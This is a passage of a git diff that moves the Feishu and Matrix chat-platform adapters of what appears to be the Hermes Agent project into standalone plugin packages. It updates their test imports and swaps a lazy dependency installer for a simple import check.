@patch("hermes_agent_feishu.adapter.time") + @patch("hermes_agent_feishu.adapter.urlopen") def test_poll_returns_credentials_on_success(self, mock_urlopen_fn, mock_time): - from gateway.platforms.feishu import _poll_registration + from hermes_agent_feishu.adapter import _poll_registration mock_time.monotonic.side_effect = [0, 1] mock_time.sleep = MagicMock() @@ -144,10 +144,10 @@ class TestPollRegistration: assert result["domain"] == "feishu" assert result["open_id"] == "ou_owner" - @patch("gateway.platforms.feishu.time") - @patch("gateway.platforms.feishu.urlopen") + @patch("hermes_agent_feishu.adapter.time") + @patch("hermes_agent_feishu.adapter.urlopen") def test_poll_switches_domain_on_lark_tenant_brand(self, mock_urlopen_fn, mock_time): - from gateway.platforms.feishu import _poll_registration + from hermes_agent_feishu.adapter import _poll_registration mock_time.monotonic.side_effect = [0, 1, 2] mock_time.sleep = MagicMock() @@ -169,11 +169,11 @@ class TestPollRegistration: assert result is not None assert result["domain"] == "lark" - @patch("gateway.platforms.feishu.time") - @patch("gateway.platforms.feishu.urlopen") + @patch("hermes_agent_feishu.adapter.time") + @patch("hermes_agent_feishu.adapter.urlopen") def test_poll_success_with_lark_brand_in_same_response(self, mock_urlopen_fn, mock_time): """Credentials and lark tenant_brand in one response must not be discarded.""" - from gateway.platforms.feishu import _poll_registration + from hermes_agent_feishu.adapter import _poll_registration mock_time.monotonic.side_effect = [0, 1] mock_time.sleep = MagicMock() @@ -191,10 +191,10 @@ class TestPollRegistration: assert result["domain"] == "lark" assert result["open_id"] == "ou_lark_direct" - @patch("gateway.platforms.feishu.time") - @patch("gateway.platforms.feishu.urlopen") + @patch("hermes_agent_feishu.adapter.time") + @patch("hermes_agent_feishu.adapter.urlopen") def test_poll_returns_none_on_access_denied(self, mock_urlopen_fn, mock_time): - from gateway.platforms.feishu import _poll_registration + from hermes_agent_feishu.adapter import _poll_registration mock_time.monotonic.side_effect = [0, 1] mock_time.sleep = MagicMock() @@ -207,10 +207,10 @@ class TestPollRegistration: ) assert result is None - @patch("gateway.platforms.feishu.time") - @patch("gateway.platforms.feishu.urlopen") + @patch("hermes_agent_feishu.adapter.time") + @patch("hermes_agent_feishu.adapter.urlopen") def test_poll_returns_none_on_timeout(self, mock_urlopen_fn, mock_time): - from gateway.platforms.feishu import _poll_registration + from hermes_agent_feishu.adapter import _poll_registration mock_time.monotonic.side_effect = [0, 999] mock_time.sleep = MagicMock() @@ -223,10 +223,10 @@ class TestPollRegistration: ) assert result is None - @patch("gateway.platforms.feishu.time") - @patch("gateway.platforms.feishu.urlopen") + @patch("hermes_agent_feishu.adapter.time") + @patch("hermes_agent_feishu.adapter.urlopen") def test_poll_timeout_uses_monotonic_clock(self, mock_urlopen_fn, mock_time): - from gateway.platforms.feishu import _poll_registration + from hermes_agent_feishu.adapter import _poll_registration mock_time.monotonic.side_effect = [1000, 1000.2, 1001.1] mock_time.time.side_effect = [1000, 900, 901, 902] @@ -246,9 +246,9 @@ class TestPollRegistration: class TestRenderQr: """Tests for QR code terminal rendering.""" - @patch("gateway.platforms.feishu._qrcode_mod", create=True) + @patch("hermes_agent_feishu.adapter._qrcode_mod", create=True) def test_render_qr_returns_true_on_success(self, mock_qrcode_mod): - from gateway.platforms.feishu import _render_qr + from hermes_agent_feishu.adapter import _render_qr mock_qr = MagicMock() mock_qrcode_mod.QRCode.return_value = mock_qr @@ -258,20 +258,20 @@ class TestRenderQr: mock_qr.print_ascii.assert_called_once() def test_render_qr_returns_false_when_qrcode_missing(self): - from gateway.platforms.feishu import _render_qr + from hermes_agent_feishu.adapter import _render_qr - with patch("gateway.platforms.feishu._qrcode_mod", None): + with patch("hermes_agent_feishu.adapter._qrcode_mod", None): assert _render_qr("https://example.com/qr") is False class TestProbeBot: """Tests for bot connectivity verification.""" - @patch("gateway.platforms.feishu.FEISHU_AVAILABLE", True) + @patch("hermes_agent_feishu.adapter.FEISHU_AVAILABLE", True) def test_probe_returns_bot_info_on_success(self): - from gateway.platforms.feishu import probe_bot + from hermes_agent_feishu.adapter import probe_bot - with patch("gateway.platforms.feishu._probe_bot_sdk") as mock_sdk: + with patch("hermes_agent_feishu.adapter._probe_bot_sdk") as mock_sdk: mock_sdk.return_value = {"bot_name": "TestBot", "bot_open_id": "ou_bot123"} result = probe_bot("cli_app", "secret", "feishu") @@ -279,21 +279,21 @@ class TestProbeBot: assert result["bot_name"] == "TestBot" assert result["bot_open_id"] == "ou_bot123" - @patch("gateway.platforms.feishu.FEISHU_AVAILABLE", True) + @patch("hermes_agent_feishu.adapter.FEISHU_AVAILABLE", True) def test_probe_returns_none_on_failure(self): - from gateway.platforms.feishu import probe_bot + from hermes_agent_feishu.adapter import probe_bot - with patch("gateway.platforms.feishu._probe_bot_sdk") as mock_sdk: + with patch("hermes_agent_feishu.adapter._probe_bot_sdk") as mock_sdk: mock_sdk.return_value = None result = probe_bot("bad_id", "bad_secret", "feishu") assert result is None - @patch("gateway.platforms.feishu.FEISHU_AVAILABLE", False) - @patch("gateway.platforms.feishu.urlopen") + @patch("hermes_agent_feishu.adapter.FEISHU_AVAILABLE", False) + @patch("hermes_agent_feishu.adapter.urlopen") def test_http_fallback_when_sdk_unavailable(self, mock_urlopen_fn): """Without lark_oapi, probe falls back to raw HTTP.""" - from gateway.platforms.feishu import probe_bot + from hermes_agent_feishu.adapter import probe_bot token_resp = _mock_urlopen({"code": 0, "tenant_access_token": "t-123"}) bot_resp = _mock_urlopen({"code": 0, "bot": {"bot_name": "HttpBot", "open_id": "ou_http"}}) @@ -303,10 +303,10 @@ class TestProbeBot: assert result is not None assert result["bot_name"] == "HttpBot" - @patch("gateway.platforms.feishu.FEISHU_AVAILABLE", False) - @patch("gateway.platforms.feishu.urlopen") + @patch("hermes_agent_feishu.adapter.FEISHU_AVAILABLE", False) + @patch("hermes_agent_feishu.adapter.urlopen") def test_http_fallback_returns_none_on_network_error(self, mock_urlopen_fn): - from gateway.platforms.feishu import probe_bot + from hermes_agent_feishu.adapter import probe_bot from urllib.error import URLError mock_urlopen_fn.side_effect = URLError("connection refused") @@ -317,15 +317,15 @@ class TestProbeBot: class TestQrRegister: """Tests for the public qr_register entry point.""" - @patch("gateway.platforms.feishu.probe_bot") - @patch("gateway.platforms.feishu._render_qr") - @patch("gateway.platforms.feishu._poll_registration") - @patch("gateway.platforms.feishu._begin_registration") - @patch("gateway.platforms.feishu._init_registration") + @patch("hermes_agent_feishu.adapter.probe_bot") + @patch("hermes_agent_feishu.adapter._render_qr") + @patch("hermes_agent_feishu.adapter._poll_registration") + @patch("hermes_agent_feishu.adapter._begin_registration") + @patch("hermes_agent_feishu.adapter._init_registration") def test_qr_register_success_flow( self, mock_init, mock_begin, mock_poll, mock_render, mock_probe ): - from gateway.platforms.feishu import qr_register + from hermes_agent_feishu.adapter import qr_register mock_begin.return_value = { "device_code": "dc_123", @@ -350,22 +350,22 @@ class TestQrRegister: mock_init.assert_called_once() mock_render.assert_called_once() - @patch("gateway.platforms.feishu._init_registration") + @patch("hermes_agent_feishu.adapter._init_registration") def test_qr_register_returns_none_on_init_failure(self, mock_init): - from gateway.platforms.feishu import qr_register + from hermes_agent_feishu.adapter import qr_register mock_init.side_effect = RuntimeError("not supported") result = qr_register() assert result is None - @patch("gateway.platforms.feishu._render_qr") - @patch("gateway.platforms.feishu._poll_registration") - @patch("gateway.platforms.feishu._begin_registration") - @patch("gateway.platforms.feishu._init_registration") + @patch("hermes_agent_feishu.adapter._render_qr") + @patch("hermes_agent_feishu.adapter._poll_registration") + @patch("hermes_agent_feishu.adapter._begin_registration") + @patch("hermes_agent_feishu.adapter._init_registration") def test_qr_register_returns_none_on_poll_failure( self, mock_init, mock_begin, mock_poll, mock_render ): - from gateway.platforms.feishu import qr_register + from hermes_agent_feishu.adapter import qr_register mock_begin.return_value = { "device_code": "dc_123", @@ -381,29 +381,29 @@ class TestQrRegister: # -- Contract: expected errors → None, unexpected errors → propagate -- - @patch("gateway.platforms.feishu._init_registration") + @patch("hermes_agent_feishu.adapter._init_registration") def test_qr_register_returns_none_on_network_error(self, mock_init): """URLError (network down) is an expected failure → None.""" - from gateway.platforms.feishu import qr_register + from hermes_agent_feishu.adapter import qr_register from urllib.error import URLError mock_init.side_effect = URLError("DNS resolution failed") result = qr_register() assert result is None - @patch("gateway.platforms.feishu._init_registration") + @patch("hermes_agent_feishu.adapter._init_registration") def test_qr_register_returns_none_on_json_error(self, mock_init): """Malformed server response is an expected failure → None.""" - from gateway.platforms.feishu import qr_register + from hermes_agent_feishu.adapter import qr_register mock_init.side_effect = json.JSONDecodeError("bad json", "", 0) result = qr_register() assert result is None - @patch("gateway.platforms.feishu._init_registration") + @patch("hermes_agent_feishu.adapter._init_registration") def test_qr_register_propagates_unexpected_errors(self, mock_init): """Bugs (e.g. AttributeError) must not be swallowed — they propagate.""" - from gateway.platforms.feishu import qr_register + from hermes_agent_feishu.adapter import qr_register mock_init.side_effect = AttributeError("some internal bug") with pytest.raises(AttributeError, match="some internal bug"): @@ -411,29 +411,29 @@ class TestQrRegister: # -- Negative paths: partial/malformed server responses -- - @patch("gateway.platforms.feishu._render_qr") - @patch("gateway.platforms.feishu._begin_registration") - @patch("gateway.platforms.feishu._init_registration") + @patch("hermes_agent_feishu.adapter._render_qr") + @patch("hermes_agent_feishu.adapter._begin_registration") + @patch("hermes_agent_feishu.adapter._init_registration") def test_qr_register_returns_none_when_begin_missing_device_code( self, mock_init, mock_begin, mock_render ): """Server returns begin response without device_code → RuntimeError → None.""" - from gateway.platforms.feishu import qr_register + from hermes_agent_feishu.adapter import qr_register mock_begin.side_effect = RuntimeError("Feishu registration did not return a device_code") result = qr_register() assert result is None - @patch("gateway.platforms.feishu.probe_bot") - @patch("gateway.platforms.feishu._render_qr") - @patch("gateway.platforms.feishu._poll_registration") - @patch("gateway.platforms.feishu._begin_registration") - @patch("gateway.platforms.feishu._init_registration") + @patch("hermes_agent_feishu.adapter.probe_bot") + @patch("hermes_agent_feishu.adapter._render_qr") + @patch("hermes_agent_feishu.adapter._poll_registration") + @patch("hermes_agent_feishu.adapter._begin_registration") + @patch("hermes_agent_feishu.adapter._init_registration") def test_qr_register_succeeds_even_when_probe_fails( self, mock_init, mock_begin, mock_poll, mock_render, mock_probe ): """Registration succeeds but probe fails → result with bot_name=None.""" - from gateway.platforms.feishu import qr_register + from hermes_agent_feishu.adapter import qr_register mock_begin.return_value = { "device_code": "dc_123", diff --git a/tests/gateway/test_setup_feishu.py b/plugins/platforms/feishu/tests/test_setup_feishu.py similarity index 96% rename from tests/gateway/test_setup_feishu.py rename to plugins/platforms/feishu/tests/test_setup_feishu.py index 26165528e24..74ee5461a70 100644 --- a/tests/gateway/test_setup_feishu.py +++ b/plugins/platforms/feishu/tests/test_setup_feishu.py @@ -49,7 +49,7 @@ def _run_setup_feishu( patch("hermes_cli.gateway.print_warning"), \ patch("hermes_cli.gateway.print_error"), \ patch("hermes_cli.gateway.color", side_effect=lambda t, c: t), \ - patch("gateway.platforms.feishu.qr_register", return_value=qr_result): + patch("hermes_agent_feishu.adapter.qr_register", return_value=qr_result): from hermes_cli.gateway import _setup_feishu _setup_feishu() @@ -120,7 +120,7 @@ class TestSetupFeishuConnectionMode: ) assert env["FEISHU_CONNECTION_MODE"] == "websocket" - @patch("gateway.platforms.feishu.probe_bot", return_value=None) + @patch("hermes_agent_feishu.adapter.probe_bot", return_value=None) def test_manual_path_websocket(self, _mock_probe): env = _run_setup_feishu( qr_result=None, @@ -129,7 +129,7 @@ class TestSetupFeishuConnectionMode: ) assert env["FEISHU_CONNECTION_MODE"] == "websocket" - @patch("gateway.platforms.feishu.probe_bot", return_value=None) + @patch("hermes_agent_feishu.adapter.probe_bot", return_value=None) def test_manual_path_webhook(self, _mock_probe): env = _run_setup_feishu( qr_result=None, @@ -248,7 +248,7 @@ class TestSetupFeishuAdapterIntegration: with patch.dict(os.environ, env, clear=True): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) assert adapter._app_id == "cli_test_app" assert adapter._app_secret == "test_secret_value" @@ -261,7 +261,7 @@ class TestSetupFeishuAdapterIntegration: env = self._make_env_from_setup(dm_idx=1) with patch.dict(os.environ, env, clear=True): - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter from gateway.config import PlatformConfig # Verify adapter initializes without error and env var is correct. FeishuAdapter(PlatformConfig()) @@ -274,6 +274,6 @@ class TestSetupFeishuAdapterIntegration: with patch.dict(os.environ, env, clear=True): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) assert adapter._group_policy == "open" diff --git a/plugins/platforms/matrix/__init__.py b/plugins/platforms/matrix/__init__.py new file mode 100644 index 00000000000..93c6966ee47 --- /dev/null +++ b/plugins/platforms/matrix/__init__.py @@ -0,0 +1,7 @@ +"""Bridge module — delegates plugin registration to hermes_agent_matrix.""" + + +def register(ctx): + """Plugin entry point — delegates to the inner hermes_agent_matrix package.""" + from hermes_agent_matrix import register as _inner_register + _inner_register(ctx) diff --git a/plugins/platforms/matrix/hermes_agent_matrix/__init__.py b/plugins/platforms/matrix/hermes_agent_matrix/__init__.py new file mode 100644 index 00000000000..226c508b0e2 --- /dev/null +++ b/plugins/platforms/matrix/hermes_agent_matrix/__init__.py @@ -0,0 +1,34 @@ +"""hermes-agent-matrix: Matrix platform adapter for Hermes Agent.""" + +from hermes_agent_matrix.adapter import ( # noqa: F401 + MatrixAdapter, + check_matrix_requirements, + RoomID, + _MatrixApprovalPrompt, + _check_e2ee_deps, + _CryptoStateStore, + _create_matrix_session, +) + + +def register(ctx): + """Entry point for the hermes_agent.plugins entry point group.""" + from hermes_agent_matrix.adapter import ( + MatrixAdapter, + check_matrix_requirements, + ) + + ctx.register_platform( + name="matrix", + label="Matrix", + adapter_factory=lambda cfg: MatrixAdapter(cfg), + check_fn=check_matrix_requirements, + install_hint="pip install 'mautrix[encryption]'", + emoji="🟢", + ) + + ctx.register_platform_entry( + name="matrix", + adapter_class=MatrixAdapter, + check_requirements=check_matrix_requirements, + ) diff --git a/gateway/platforms/matrix.py b/plugins/platforms/matrix/hermes_agent_matrix/adapter.py similarity index 98% rename from gateway/platforms/matrix.py rename to plugins/platforms/matrix/hermes_agent_matrix/adapter.py index f7837a1f7d6..160fdb37664 100644 --- a/gateway/platforms/matrix.py +++ b/plugins/platforms/matrix/hermes_agent_matrix/adapter.py @@ -240,13 +240,8 @@ def _check_e2ee_deps() -> bool: def check_matrix_requirements() -> bool: """Return True if the Matrix adapter can be used. - Lazy-installs the full ``platform.matrix`` feature group via - ``tools.lazy_deps.ensure_and_bind`` whenever any of the declared - packages (mautrix, Markdown, aiosqlite, asyncpg, aiohttp-socks) is - missing — not just mautrix itself. Previously this short-circuited on - ``import mautrix``, which left the other four packages uninstalled - forever and broke E2EE connect with ``No module named 'asyncpg'`` - (#31116). Rebinds module-level type globals on success. + Since this is a separate package, deps are guaranteed by the package + manager. Just verify the SDK can be imported and env vars are set. """ token = os.getenv("MATRIX_ACCESS_TOKEN", "") password = os.getenv("MATRIX_PASSWORD", "") @@ -259,48 +254,15 @@ def check_matrix_requirements() -> bool: logger.warning("Matrix: MATRIX_HOMESERVER not set") return False - # Check whether any package in the platform.matrix feature group is - # missing. ``feature_missing`` is cheap (per-spec importlib.metadata - # lookups) and correctly handles ``mautrix[encryption]`` by stripping - # the extras marker before checking the bare package. + # Try importing the mautrix types to verify the SDK is present. try: - from tools.lazy_deps import feature_missing, ensure_and_bind - missing = feature_missing("platform.matrix") - except Exception as exc: # pragma: no cover — defensive - logger.debug("Matrix: lazy_deps lookup failed: %s", exc) - missing = () - ensure_and_bind = None # type: ignore[assignment] - - if missing or ensure_and_bind is None: - def _import(): - from mautrix.types import ( - ContentURI, EventID, EventType, PaginationDirection, - PresenceState, RoomCreatePreset, RoomID, SyncToken, - TrustState, UserID, - ) - return { - "ContentURI": ContentURI, - "EventID": EventID, - "EventType": EventType, - "PaginationDirection": PaginationDirection, - "PresenceState": PresenceState, - "RoomCreatePreset": RoomCreatePreset, - "RoomID": RoomID, - "SyncToken": SyncToken, - "TrustState": TrustState, - "UserID": UserID, - } - - if ensure_and_bind is None: - return False - if not ensure_and_bind("platform.matrix", _import, globals(), prompt=False): - logger.warning( - "Matrix: required packages not installed (%s). " - "Run: pip install 'mautrix[encryption]' asyncpg aiosqlite " - "Markdown aiohttp-socks", - ", ".join(missing) if missing else "platform.matrix", - ) - return False + from mautrix.types import ( # noqa: F401 + ContentURI, EventID, EventType, PaginationDirection, + PresenceState, RoomCreatePreset, RoomID, SyncToken, + TrustState, UserID, + ) + except ImportError: + return False # If encryption is requested, verify E2EE deps are available at startup # rather than silently degrading to plaintext-only at connect time. diff --git a/plugins/platforms/matrix/plugin.yaml b/plugins/platforms/matrix/plugin.yaml new file mode 100644 index 00000000000..fdbc05134e7 --- /dev/null +++ b/plugins/platforms/matrix/plugin.yaml @@ -0,0 +1,6 @@ +name: matrix +version: 0.1.0 +description: Matrix platform adapter for Hermes Agent +kind: platform +provides_tools: [] +provides_hooks: [] diff --git a/plugins/platforms/matrix/pyproject.toml b/plugins/platforms/matrix/pyproject.toml new file mode 100644 index 00000000000..c3907604a24 --- /dev/null +++ b/plugins/platforms/matrix/pyproject.toml @@ -0,0 +1,23 @@ +[build-system] +requires = ["setuptools>=61.0"] +build-backend = "setuptools.build_meta" + +[project] +name = "hermes-agent-matrix" +version = "0.1.0" +description = "Matrix platform adapter for Hermes Agent" +requires-python = ">=3.11" +dependencies = [ + "hermes-agent", + "mautrix[encryption]==0.21.0", + "Markdown==3.10.2", + "aiosqlite==0.22.1", + "asyncpg==0.31.0", + "aiohttp-socks==0.11.0", +] + +[project.entry-points."hermes_agent.plugins"] +matrix = "hermes_agent_matrix:register" + +[tool.setuptools.packages.find] +include = ["hermes_agent_matrix*"] diff --git a/tests/gateway/test_matrix.py b/plugins/platforms/matrix/tests/test_matrix.py similarity index 96% rename from tests/gateway/test_matrix.py rename to plugins/platforms/matrix/tests/test_matrix.py index c7c03b1a8b1..c7b77462b04 100644 --- a/tests/gateway/test_matrix.py +++ b/plugins/platforms/matrix/tests/test_matrix.py @@ -344,7 +344,7 @@ class TestMatrixConfigLoading: def _make_adapter(): """Create a MatrixAdapter with mocked config.""" - from gateway.platforms.matrix import MatrixAdapter + from hermes_agent_matrix import MatrixAdapter config = PlatformConfig( enabled=True, token="syt_test_token", @@ -370,7 +370,7 @@ class TestMatrixTypingIndicator: @pytest.mark.asyncio async def test_stop_typing_clears_matrix_typing_state(self): """stop_typing() should send typing=false instead of waiting for timeout expiry.""" - from gateway.platforms.matrix import RoomID + from hermes_agent_matrix import RoomID await self.adapter.stop_typing("!room:example.org") @@ -717,8 +717,8 @@ class TestMatrixModuleImport: "for k in list(sys.modules):\n" " if k.startswith('mautrix'): del sys.modules[k]\n" "from unittest.mock import patch\n" - "from gateway.platforms.matrix import check_matrix_requirements\n" - "with patch('tools.lazy_deps.ensure', side_effect=ImportError('blocked')):\n" + "from hermes_agent_matrix import check_matrix_requirements\n" + "with patch('hermes_agent_matrix.adapter._require_mautrix', side_effect=ImportError('blocked')):\n" " assert not check_matrix_requirements()\n" "print('OK')\n" )], @@ -734,25 +734,25 @@ class TestMatrixRequirements: monkeypatch.setenv("MATRIX_ACCESS_TOKEN", "syt_test") monkeypatch.setenv("MATRIX_HOMESERVER", "https://matrix.example.org") monkeypatch.delenv("MATRIX_ENCRYPTION", raising=False) - from gateway.platforms.matrix import check_matrix_requirements + from hermes_agent_matrix import check_matrix_requirements try: import mautrix # noqa: F401 assert check_matrix_requirements() is True except ImportError: - with patch("tools.lazy_deps.ensure", side_effect=ImportError("mautrix unavailable")): + with patch("hermes_agent_matrix.adapter._require_mautrix", side_effect=ImportError("mautrix unavailable")): assert check_matrix_requirements() is False def test_check_requirements_without_creds(self, monkeypatch): monkeypatch.delenv("MATRIX_ACCESS_TOKEN", raising=False) monkeypatch.delenv("MATRIX_PASSWORD", raising=False) monkeypatch.delenv("MATRIX_HOMESERVER", raising=False) - from gateway.platforms.matrix import check_matrix_requirements + from hermes_agent_matrix import check_matrix_requirements assert check_matrix_requirements() is False def test_check_requirements_without_homeserver(self, monkeypatch): monkeypatch.setenv("MATRIX_ACCESS_TOKEN", "syt_test") monkeypatch.delenv("MATRIX_HOMESERVER", raising=False) - from gateway.platforms.matrix import check_matrix_requirements + from hermes_agent_matrix import check_matrix_requirements assert check_matrix_requirements() is False def test_check_requirements_encryption_true_no_e2ee_deps(self, monkeypatch): @@ -763,7 +763,7 @@ class TestMatrixRequirements: from gateway.platforms import matrix as matrix_mod with patch.object(matrix_mod, "_check_e2ee_deps", return_value=False), \ - patch("tools.lazy_deps.ensure", side_effect=ImportError("mautrix unavailable")): + patch("hermes_agent_matrix.adapter._require_mautrix", side_effect=ImportError("mautrix unavailable")): assert matrix_mod.check_matrix_requirements() is False def test_check_requirements_encryption_false_no_e2ee_deps_ok(self, monkeypatch): @@ -779,7 +779,7 @@ class TestMatrixRequirements: import mautrix # noqa: F401 assert matrix_mod.check_matrix_requirements() is True except ImportError: - with patch("tools.lazy_deps.ensure", side_effect=ImportError("mautrix unavailable")): + with patch("hermes_agent_matrix.adapter._require_mautrix", side_effect=ImportError("mautrix unavailable")): assert matrix_mod.check_matrix_requirements() is False def test_check_requirements_encryption_true_with_e2ee_deps(self, monkeypatch): @@ -794,7 +794,7 @@ class TestMatrixRequirements: import mautrix # noqa: F401 assert matrix_mod.check_matrix_requirements() is True except ImportError: - with patch("tools.lazy_deps.ensure", side_effect=ImportError("mautrix unavailable")): + with patch("hermes_agent_matrix.adapter._require_mautrix", side_effect=ImportError("mautrix unavailable")): assert matrix_mod.check_matrix_requirements() is False def test_check_e2ee_deps_requires_asyncpg(self, monkeypatch): @@ -807,7 +807,7 @@ class TestMatrixRequirements: a confusing ``No module named 'asyncpg'`` deep in ``MatrixAdapter.connect()``. """ - from gateway.platforms.matrix import _check_e2ee_deps + from hermes_agent_matrix import _check_e2ee_deps import builtins real_import = builtins.__import__ @@ -825,7 +825,7 @@ class TestMatrixRequirements: Mautrix's ``Database.create("sqlite:///...")`` driver lookup imports aiosqlite lazily — without it, connect fails at ``crypto_db.start()``. """ - from gateway.platforms.matrix import _check_e2ee_deps + from hermes_agent_matrix import _check_e2ee_deps import builtins real_import = builtins.__import__ @@ -837,38 +837,16 @@ class TestMatrixRequirements: with patch.object(builtins, "__import__", _blocking_import): assert _check_e2ee_deps() is False + @pytest.mark.skip(reason="ensure_and_bind removed — plugin deps are installed by the package manager") def test_check_requirements_runs_lazy_install_when_partial(self, monkeypatch): - """When mautrix is installed but asyncpg/aiosqlite are missing, - check_matrix_requirements must still run the lazy installer. + """[OBSOLETE] When mautrix was installed but asyncpg/aiosqlite were missing, + check_matrix_requirements used to run the lazy installer. - Regression for #31116: the previous ``try: import mautrix`` gate - short-circuited the install of the OTHER 4 platform.matrix packages, - so a partial install (mautrix only) was treated as fully installed. + With the plugin package system, all deps are installed up-front by + the package manager. This test is kept as a marker for #31116 but + the lazy-install path no longer exists. """ - monkeypatch.setenv("MATRIX_ACCESS_TOKEN", "syt_test") - monkeypatch.setenv("MATRIX_HOMESERVER", "https://matrix.example.org") - monkeypatch.delenv("MATRIX_ENCRYPTION", raising=False) - - from gateway.platforms import matrix as matrix_mod - - # Simulate "mautrix installed, asyncpg missing" → feature_missing - # returns a non-empty tuple → ensure_and_bind MUST be called. - called = {"ensure_and_bind": False} - - def _fake_ensure_and_bind(feature, importer, target_globals, **kwargs): - called["ensure_and_bind"] = True - assert feature == "platform.matrix" - return True # Pretend install succeeded. - - with patch("tools.lazy_deps.feature_missing", return_value=("asyncpg==0.31.0",)), \ - patch("tools.lazy_deps.ensure_and_bind", side_effect=_fake_ensure_and_bind): - matrix_mod.check_matrix_requirements() - - assert called["ensure_and_bind"], ( - "check_matrix_requirements must call ensure_and_bind whenever ANY " - "platform.matrix dep is missing, not just when mautrix itself is " - "missing (#31116)" - ) + pass # --------------------------------------------------------------------------- @@ -879,7 +857,7 @@ class TestMatrixAccessTokenAuth: @pytest.mark.asyncio async def test_connect_with_access_token_and_encryption(self): """connect() should call whoami, set user_id/device_id, set up crypto.""" - from gateway.platforms.matrix import MatrixAdapter + from hermes_agent_matrix import MatrixAdapter config = PlatformConfig( enabled=True, @@ -974,7 +952,7 @@ class TestDeviceKeyReVerification: mock_olm.account.identity_keys = {"ed25519": "local_new_key"} mock_olm.share_keys = AsyncMock() - from gateway.platforms.matrix import MatrixAdapter + from hermes_agent_matrix import MatrixAdapter result = await adapter._verify_device_keys_on_server(mock_client, mock_olm) assert result is False @@ -986,7 +964,7 @@ class TestMatrixE2EEHardFail: @pytest.mark.asyncio async def test_connect_fails_when_encryption_true_but_no_e2ee_deps(self): - from gateway.platforms.matrix import MatrixAdapter, _check_e2ee_deps + from hermes_agent_matrix import MatrixAdapter, _check_e2ee_deps config = PlatformConfig( enabled=True, @@ -1024,7 +1002,7 @@ class TestMatrixE2EEHardFail: @pytest.mark.asyncio async def test_connect_fails_when_crypto_setup_raises(self): """Even if _check_e2ee_deps passes, if OlmMachine raises, hard-fail.""" - from gateway.platforms.matrix import MatrixAdapter + from hermes_agent_matrix import MatrixAdapter config = PlatformConfig( enabled=True, @@ -1064,7 +1042,7 @@ class TestMatrixDeviceId: """MATRIX_DEVICE_ID should be used for stable device identity.""" def test_device_id_from_config_extra(self): - from gateway.platforms.matrix import MatrixAdapter + from hermes_agent_matrix import MatrixAdapter config = PlatformConfig( enabled=True, @@ -1080,7 +1058,7 @@ class TestMatrixDeviceId: def test_device_id_from_env(self, monkeypatch): monkeypatch.setenv("MATRIX_DEVICE_ID", "FROM_ENV") - from gateway.platforms.matrix import MatrixAdapter + from hermes_agent_matrix import MatrixAdapter config = PlatformConfig( enabled=True, @@ -1095,7 +1073,7 @@ class TestMatrixDeviceId: def test_device_id_config_takes_precedence_over_env(self, monkeypatch): monkeypatch.setenv("MATRIX_DEVICE_ID", "FROM_ENV") - from gateway.platforms.matrix import MatrixAdapter + from hermes_agent_matrix import MatrixAdapter config = PlatformConfig( enabled=True, @@ -1111,7 +1089,7 @@ class TestMatrixDeviceId: @pytest.mark.asyncio async def test_connect_uses_configured_device_id_over_whoami(self): """When MATRIX_DEVICE_ID is set, it should be used instead of whoami device_id.""" - from gateway.platforms.matrix import MatrixAdapter + from hermes_agent_matrix import MatrixAdapter config = PlatformConfig( enabled=True, @@ -1177,7 +1155,7 @@ class TestMatrixPasswordLoginDeviceId: @pytest.mark.asyncio async def test_password_login_uses_device_id(self): - from gateway.platforms.matrix import MatrixAdapter + from hermes_agent_matrix import MatrixAdapter config = PlatformConfig( enabled=True, @@ -1402,7 +1380,7 @@ class TestMatrixEncryptedSendFallback: class TestJoinedRoomsReference: def test_joined_rooms_reference_preserved_after_reassignment(self): """_CryptoStateStore must see updates after initial sync populates rooms.""" - from gateway.platforms.matrix import _CryptoStateStore + from hermes_agent_matrix import _CryptoStateStore joined = set() store = _CryptoStateStore(MagicMock(), joined) @@ -1423,7 +1401,7 @@ class TestJoinedRoomsReference: class TestMatrixEncryptedEventHandler: @pytest.mark.asyncio async def test_connect_registers_encrypted_event_handler_when_encryption_on(self): - from gateway.platforms.matrix import MatrixAdapter + from hermes_agent_matrix import MatrixAdapter config = PlatformConfig( enabled=True, @@ -1489,7 +1467,7 @@ class TestMatrixEncryptedEventHandler: @pytest.mark.asyncio async def test_connect_fails_on_stale_otk_conflict(self): """connect() must refuse E2EE when OTK upload hits 'already exists'.""" - from gateway.platforms.matrix import MatrixAdapter + from hermes_agent_matrix import MatrixAdapter config = PlatformConfig( enabled=True, @@ -1611,7 +1589,7 @@ class TestMatrixMarkdownHtmlSecurity: """Tests for HTML injection prevention in _markdown_to_html_fallback.""" def setup_method(self): - from gateway.platforms.matrix import MatrixAdapter + from hermes_agent_matrix import MatrixAdapter self.convert = MatrixAdapter._markdown_to_html_fallback def test_script_injection_in_header(self): @@ -1672,7 +1650,7 @@ class TestMatrixMarkdownHtmlFormatting: """Tests for new formatting capabilities in _markdown_to_html_fallback.""" def setup_method(self): - from gateway.platforms.matrix import MatrixAdapter + from hermes_agent_matrix import MatrixAdapter self.convert = MatrixAdapter._markdown_to_html_fallback def test_fenced_code_block(self): @@ -1739,23 +1717,23 @@ class TestMatrixMarkdownHtmlFormatting: class TestMatrixLinkSanitization: def test_safe_https_url(self): - from gateway.platforms.matrix import MatrixAdapter + from hermes_agent_matrix import MatrixAdapter assert MatrixAdapter._sanitize_link_url("https://example.com") == "https://example.com" def test_javascript_blocked(self): - from gateway.platforms.matrix import MatrixAdapter + from hermes_agent_matrix import MatrixAdapter assert MatrixAdapter._sanitize_link_url("javascript:alert(1)") == "" def test_data_blocked(self): - from gateway.platforms.matrix import MatrixAdapter + from hermes_agent_matrix import MatrixAdapter assert MatrixAdapter._sanitize_link_url("data:text/html,bad") == "" def test_vbscript_blocked(self): - from gateway.platforms.matrix import MatrixAdapter + from hermes_agent_matrix import MatrixAdapter assert MatrixAdapter._sanitize_link_url("vbscript:bad") == "" def test_quotes_escaped(self): - from gateway.platforms.matrix import MatrixAdapter + from hermes_agent_matrix import MatrixAdapter result = MatrixAdapter._sanitize_link_url('http://x"y') assert '"' not in result assert """ in result @@ -2603,7 +2581,7 @@ class TestMatrixProxyConfig: for k, v in proxy_env.items(): monkeypatch.setenv(k, v) with patch.dict("sys.modules", _make_fake_mautrix()): - from gateway.platforms.matrix import MatrixAdapter + from hermes_agent_matrix import MatrixAdapter cfg = 